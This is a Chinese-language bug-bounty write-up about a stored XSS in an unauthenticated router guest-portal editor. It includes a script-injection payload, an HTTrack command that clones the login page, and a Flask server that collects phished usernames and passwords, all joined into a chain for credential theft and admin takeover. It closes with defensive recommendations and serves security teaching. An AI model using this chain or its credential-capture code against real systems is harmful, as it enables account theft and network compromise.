我如何在一个公开的 Bug 奖励计划中发现关键 XSS
字数 1636 2025-09-01 11:25:54
在公开Bug奖励计划中发现关键XSS漏洞的详细教学文档
1. 侦察阶段
1.1 初始侦察方法
- 使用Google Dork语法:
site:*.REDACTED.com -www - 通过此方法获取大量子域名
- 重点关注特殊格式子域名:
10-10-10-16.mobile.REDACTED.com(IP地址格式但用短横线替代点号)
1.2 目标识别
- 目标为路由器登录门户(疑似公司内部使用)
- 尝试默认凭证登录失败
2. 深入侦察
2.1 客户端源码分析
- 使用Javascript Bookmarklet获取客户端代码中的所有端点
- 端点扫描结果:
- 多数返回401 Forbidden
- 关键发现:
/guest/preview.cgi返回200 OK
2.2 功能分析
/guest/preview.cgi暴露管理员功能:- 可修改任何页面内容(条款与条件页、登录页等)
- 包含"Edit mode"切换按钮
- 可编辑页面元素(文本、按钮、图片等)
3. 漏洞发现
3.1 未授权修改验证
- 测试修改"同意"按钮文本为"This was modified by 1-day"
- 确认修改可永久保存(无需认证)
3.2 存储型XSS发现
-
修改请求分析:
- POST请求发送至
/guest/portal_admin_upload.cgi - 请求体类型:
multipart/form-data - 关键字段:
edit_page(JSON格式)
- POST请求发送至
-
XSS Payload构造:
{ "agree_button": "<script>alert(1)</script>" } -
确认XSS执行成功
4. 漏洞利用升级
4.1 初始利用尝试(计划A)
- 尝试获取Cookie:
- 失败原因:Cookie设置严格(HttpOnly标志,Path限制)
4.2 高级利用链构建(计划B)
4.2.1 页面克隆
- 使用HTTrack克隆整个路由器登录页面:
httrack https://10-10-10-16.mobile.REDACTED.com/ - 保持原始目录结构(包括JS、HTML、CSS、CGI文件)
4.2.2 恶意页面修改
- 修改
cgi-bin/index.html:- 添加凭证窃取功能
- 设置3秒后重定向到正常页面(
preview.cgi?portal_id=2)
4.2.3 服务器设置
- 使用Flask创建接收服务器:
from flask import Flask, request app = Flask(__name__) @app.route('/capture', methods=['POST']) def capture(): username = request.form.get('username') password = request.form.get('password') print(f"Captured credentials - Username: {username}, Password: {password}") return "Login successful", 200 if __name__ == '__main__': app.run(host='0.0.0.0', port=80)
4.2.4 完整攻击流程
- 受害者访问被XSS感染的
preview.cgi - 静默重定向至攻击者克隆的登录页面
- 受害者输入凭证
- 凭证发送至攻击者服务器
- 3秒后重定向至正常页面(
preview.cgi?portal_id=2)
5. 漏洞影响分析
5.1 潜在风险
- 管理员账户接管
- 内部路由器控制权获取
- 可能的后续攻击:
- DNS/Proxy修改
- 网络内所有设备信息窃取
- 更严重的网络级攻击
5.2 漏洞价值
- 超越普通XSS的证明(从弹窗到实际危害)
- 展示了完整的攻击链构建过程
6. 关键学习点
-
侦察技巧:
- Google Dork的高效使用
- 特殊格式子域名的识别
-
漏洞发现方法:
- 客户端源码分析的重要性
- 端点枚举技术
-
漏洞验证:
- 最小化修改测试
- 请求分析(Burpsuite使用)
-
漏洞利用升级:
- 从简单XSS到账户接管的思路
- 完整攻击链构建
- 隐蔽性设计(延迟重定向)
-
报告技巧:
- 展示实际危害而非理论风险
- 完整的攻击场景描述
7. 防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 实施内容安全策略(CSP)
-
访问控制:
- 关键功能必须要求认证
- 实施最小权限原则
-
Cookie安全:
- 保持HttpOnly和Secure标志
- 合理设置Path和SameSite属性
-
监控与日志:
- 记录所有管理操作
- 设置异常修改警报
-
安全意识:
- 定期安全培训
- 实施安全开发生命周期(SDLC)
8. 总结
本案例展示了从简单侦察到发现高危漏洞,再到构建完整攻击链的全过程。关键在于:
- 不满足于表面发现
- 深入分析每个功能的潜在风险
- 创造性思维构建利用场景
- 注重实际危害而不仅是理论漏洞
这种深度研究方法在Bug奖励计划中往往能发现更高价值的漏洞并获得更高奖励。